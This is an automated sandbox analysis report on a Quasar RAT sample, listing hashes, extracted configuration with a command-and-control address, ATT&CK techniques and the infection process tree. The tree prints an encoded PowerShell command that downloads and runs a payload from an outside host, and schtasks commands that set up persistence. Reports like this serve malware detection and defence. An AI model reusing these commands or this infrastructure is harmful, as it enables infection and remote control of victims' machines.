quasar | 1a7c47f2082a865f60ee411c7764f2e8e98f6c9cdc0b66c8307525b2435e0159

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
30/04/2024, 03:41

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General

Target
1.exe
Size 5KB
Sample240430-d876rabd45
SHA256 1a7c47f2082a865f60ee411c7764f2e8e98f6c9cdc0b66c8307525b2435e0159
MD5 6460c865ee6892c161dc95e0eda7af67
SHA1 170590c5633d85f1e8f1a3175933772096936618
SHA512 934af30ccaf06653028f863827a70d513b6556ced42681c0aab4248ceac77002ad56187e32c718413f48f0c870125b5792f1f6808bba5bd2813c746ee82a56a7
SSDEEP 96:979C3VIw+qN7XfqAY60ivk+RnqNcvHd3ojWrl:V9C3NN7X/Yovko9Hdb
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar office04 spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

93.123.85.108:4782

Mutex

e14b8f59-979b-4ebf-8602-dd3c4d6c301e

Attributes

encryption_key
534734397C0FA9A1D28F061AD75DF4100BFF5787
install_name
Msconfig.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/2168-34-0x0000000000E00000-0x0000000001124000-memory.dmp	family_quasar

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	3348	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000\Control Panel\International\Geo\Nation	1.exe

Executes dropped EXE 5 IoCs

pid	Process
2584	Encrypted.exe
2084	Msconfig.exe
4216	msconfig.exe
4500	Msconfig.exe
228	msconfig.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\SubDir\Msconfig.exe	vbc.exe
File opened for modification	C:\Windows\SysWOW64\SubDir\Msconfig.exe	vbc.exe
File opened for modification	C:\Windows\SysWOW64\SubDir	vbc.exe
File created	C:\Windows\SysWOW64\SubDir\Msconfig.exe	vbc.exe
File opened for modification	C:\Windows\SysWOW64\SubDir\Msconfig.exe	vbc.exe
File opened for modification	C:\Windows\SysWOW64\SubDir	vbc.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2584 set thread context of 2168	2584	Encrypted.exe	99
PID 4216 set thread context of 4600	4216	msconfig.exe	117

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4628	schtasks.exe
3084	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3348	powershell.exe
3348	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3348	powershell.exe
Token: SeDebugPrivilege	2168	vbc.exe
Token: SeDebugPrivilege	4600	vbc.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 4500 wrote to memory of 3348	4500	1.exe	83
PID 4500 wrote to memory of 3348	4500	1.exe	83
PID 3348 wrote to memory of 2584	3348	powershell.exe	94
PID 3348 wrote to memory of 2584	3348	powershell.exe	94
PID 3348 wrote to memory of 2584	3348	powershell.exe	94
PID 2584 wrote to memory of 2168	2584	Encrypted.exe	99
PID 2584 wrote to memory of 2168	2584	Encrypted.exe	99
PID 2584 wrote to memory of 2168	2584	Encrypted.exe	99
PID 2584 wrote to memory of 2168	2584	Encrypted.exe	99
PID 2584 wrote to memory of 2168	2584	Encrypted.exe	99
PID 2584 wrote to memory of 2168	2584	Encrypted.exe	99
PID 2584 wrote to memory of 2168	2584	Encrypted.exe	99
PID 2584 wrote to memory of 2168	2584	Encrypted.exe	99
PID 2584 wrote to memory of 4860	2584	Encrypted.exe	100
PID 2584 wrote to memory of 4860	2584	Encrypted.exe	100
PID 2584 wrote to memory of 4860	2584	Encrypted.exe	100
PID 2584 wrote to memory of 4468	2584	Encrypted.exe	102
PID 2584 wrote to memory of 4468	2584	Encrypted.exe	102
PID 2584 wrote to memory of 4468	2584	Encrypted.exe	102
PID 4468 wrote to memory of 4628	4468	cmd.exe	104
PID 4468 wrote to memory of 4628	4468	cmd.exe	104
PID 4468 wrote to memory of 4628	4468	cmd.exe	104
PID 2584 wrote to memory of 1632	2584	Encrypted.exe	105
PID 2584 wrote to memory of 1632	2584	Encrypted.exe	105
PID 2584 wrote to memory of 1632	2584	Encrypted.exe	105
PID 2168 wrote to memory of 2084	2168	vbc.exe	107
PID 2168 wrote to memory of 2084	2168	vbc.exe	107
PID 2168 wrote to memory of 2084	2168	vbc.exe	107
PID 4216 wrote to memory of 4600	4216	msconfig.exe	117
PID 4216 wrote to memory of 4600	4216	msconfig.exe	117
PID 4216 wrote to memory of 4600	4216	msconfig.exe	117
PID 4216 wrote to memory of 4600	4216	msconfig.exe	117
PID 4216 wrote to memory of 4600	4216	msconfig.exe	117
PID 4216 wrote to memory of 4600	4216	msconfig.exe	117
PID 4216 wrote to memory of 4600	4216	msconfig.exe	117
PID 4216 wrote to memory of 4600	4216	msconfig.exe	117
PID 4216 wrote to memory of 2600	4216	msconfig.exe	118
PID 4216 wrote to memory of 2600	4216	msconfig.exe	118
PID 4216 wrote to memory of 2600	4216	msconfig.exe	118
PID 4216 wrote to memory of 4252	4216	msconfig.exe	120
PID 4216 wrote to memory of 4252	4216	msconfig.exe	120
PID 4216 wrote to memory of 4252	4216	msconfig.exe	120
PID 4252 wrote to memory of 3084	4252	cmd.exe	122
PID 4252 wrote to memory of 3084	4252	cmd.exe	122
PID 4252 wrote to memory of 3084	4252	cmd.exe	122
PID 4216 wrote to memory of 4352	4216	msconfig.exe	123
PID 4216 wrote to memory of 4352	4216	msconfig.exe	123
PID 4216 wrote to memory of 4352	4216	msconfig.exe	123
PID 4600 wrote to memory of 4500	4600	vbc.exe	125
PID 4600 wrote to memory of 4500	4600	vbc.exe	125
PID 4600 wrote to memory of 4500	4600	vbc.exe	125

C:\Users\Admin\AppData\Local\Temp\1.exe
"C:\Users\Admin\AppData\Local\Temp\1.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AG8AcgBrAHMAZQByAHYAZQByAC4AZABkAG4AcwAuAG4AZQB0AC8ARQBuAGMAcgB5AHAAdABlAGQALgBlAHgAZQAnACwAIAA8ACMAagBxAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBmAG0AdQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBrAGoAcwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBFAG4AYwByAHkAcAB0AGUAZAAuAGUAeABlACcAKQApADwAIwBsAHcAYwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBrAGwAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdQB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARQBuAGMAcgB5AHAAdABlAGQALgBlAHgAZQAnACkAPAAjAGEAcABpACMAPgA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3348
- - C:\Users\Admin\AppData\Local\Temp\Encrypted.exe
    "C:\Users\Admin\AppData\Local\Temp\Encrypted.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:2584
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      4⤵
      Drops file in System32 directory
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2168
    - - C:\Windows\SysWOW64\SubDir\Msconfig.exe
        
        "C:\Windows\system32\SubDir\Msconfig.exe"
        5⤵
        Executes dropped EXE
        
        PID:2084
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C mkdir "C:\Users\Admin\AppData\Roaming\msconfig"
      4⤵
      PID:4860
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\msconfig\msconfig.exe'" /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4468
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\msconfig\msconfig.exe'" /f
        5⤵
        Creates scheduled task(s)
        
        PID:4628
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C copy "C:\Users\Admin\AppData\Local\Temp\Encrypted.exe" "C:\Users\Admin\AppData\Roaming\msconfig\msconfig.exe"
      4⤵
      PID:1632

C:\Users\Admin\AppData\Roaming\msconfig\msconfig.exe
C:\Users\Admin\AppData\Roaming\msconfig\msconfig.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4216
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  - Drops file in System32 directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4600
- - C:\Windows\SysWOW64\SubDir\Msconfig.exe
    "C:\Windows\system32\SubDir\Msconfig.exe"
    3⤵
    - Executes dropped EXE
    PID:4500
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C mkdir "C:\Users\Admin\AppData\Roaming\msconfig"
  2⤵
  PID:2600
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\msconfig\msconfig.exe'" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4252
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\msconfig\msconfig.exe'" /f
    3⤵
    - Creates scheduled task(s)
    PID:3084
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C copy "C:\Users\Admin\AppData\Roaming\msconfig\msconfig.exe" "C:\Users\Admin\AppData\Roaming\msconfig\msconfig.exe"
  2⤵
  PID:4352

C:\Users\Admin\AppData\Roaming\msconfig\msconfig.exe
C:\Users\Admin\AppData\Roaming\msconfig\msconfig.exe
1⤵
- Executes dropped EXE
PID:228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scripting

T1064

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

msconfig.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\msconfig.exe.log
Size 520B
SHA256 5164770a37b199a79ccd23b399bb3309228973d9f74c589bc2623dc613b37ac4
MD5 03febbff58da1d3318c31657d89c8542
SHA1 c9e017bd9d0a4fe533795b227c855935d86c2092
SHA512 3750c372bbca1892e9c1b34681d592c693e725a8b149c3d6938079cd467628cec42c4293b0d886b57a786abf45f5e7229247b3445001774e3e793ff5a3accfa3
MD5 SHA1 SHA512

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vbc.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log
Size 1KB
SHA256 8940500d6f057583903fde1af0287e27197410415639fc69beb39475fa5240dc
MD5 df27a876383bd81dfbcb457a9fa9f09d
SHA1 1bbc4ab95c89d02ec1d217f0255205787999164e
SHA512 fe68271375002cfcf8585c92b948ae47cd1632919c43db4bc738e2bc85ceea6dd30880dba27df9c3317531f1017624d4bd8979e6c5fad58112c7aa1189f0b844
MD5 SHA1 SHA512

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Encrypted.exe

Path C:\Users\Admin\AppData\Local\Temp\Encrypted.exe
Size 9.0MB
SHA256 4b3430ba8a4388133716b3747f00e9a98c99f37631aac98a03ff6bc8b674cf1e
MD5 78c78748cab54dcf941633f5297c1bf6
SHA1 0c0ee5e0694315bc3813c95d8561056dd8831bee
SHA512 d2212b83a7a4ca4d428cb200f45cc723f6f41485ffd7856f6eeba00f86996f584009e3f2fc5bb0230bfaa96e9c75ac08d3a0c56a07fa94b03b5b220e3e63458f
SSDEEP 49152:/D34Eaz/gdH5o3T8VNZXPkp33BbXh4cpybjPimb+GbZ16xViBGGxxedCCaU0Ddd9:/EsHiAKJxDhpYqemxkDTfgY
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_s55ggu3g.0b0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s55ggu3g.0b0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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Msconfig.exe

Path C:\Windows\SysWOW64\SubDir\Msconfig.exe
Size 2.5MB
SHA256 c16336ab32195b08c1678220fbe0256fee865f623e2b32fcfa4d9825fd68977e
MD5 0a7608db01cae07792cea95e792aa866
SHA1 71dff876e4d5edb6cea78fee7aa15845d4950e24
SHA512 990a6fa1b8adb6727b1dcd8931ad84fdcb556533b78f896a71eae2a7e3ae3222e4b8efaa4b629ced2841211750e0d8a75ddd546a983c2e586918dd8ba4e0dc42
SSDEEP 49152:S6F5PsH1IaspqACp//9NqqAJN77F29ZJOx2uc:jw16psLqqAJN77F29jOx27
MD5 SHA1 SHA512 SSDEEP

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memory/2168-34-0x0000000000E00000-0x0000000001124000-memory.dmp

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memory/2168-35-0x0000000005660000-0x00000000056F2000-memory.dmp

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memory/2168-36-0x00000000055D0000-0x00000000055DA000-memory.dmp

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memory/2584-31-0x0000000000560000-0x000000000088C000-memory.dmp

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memory/2584-32-0x0000000005640000-0x0000000005BE4000-memory.dmp

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memory/3348-12-0x000001ED7DB00000-0x000001ED7DB22000-memory.dmp

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memory/3348-4-0x00007FF979FC0000-0x00007FF97AA81000-memory.dmp

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memory/3348-5-0x000001ED7DBD0000-0x000001ED7DBE0000-memory.dmp

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memory/3348-30-0x00007FF979FC0000-0x00007FF97AA81000-memory.dmp

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memory/3348-6-0x000001ED7DBD0000-0x000001ED7DBE0000-memory.dmp

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memory/4500-0-0x0000000000150000-0x0000000000158000-memory.dmp

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memory/4500-3-0x00007FF979FC0000-0x00007FF97AA81000-memory.dmp

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memory/4500-1-0x00007FF979FC0000-0x00007FF97AA81000-memory.dmp

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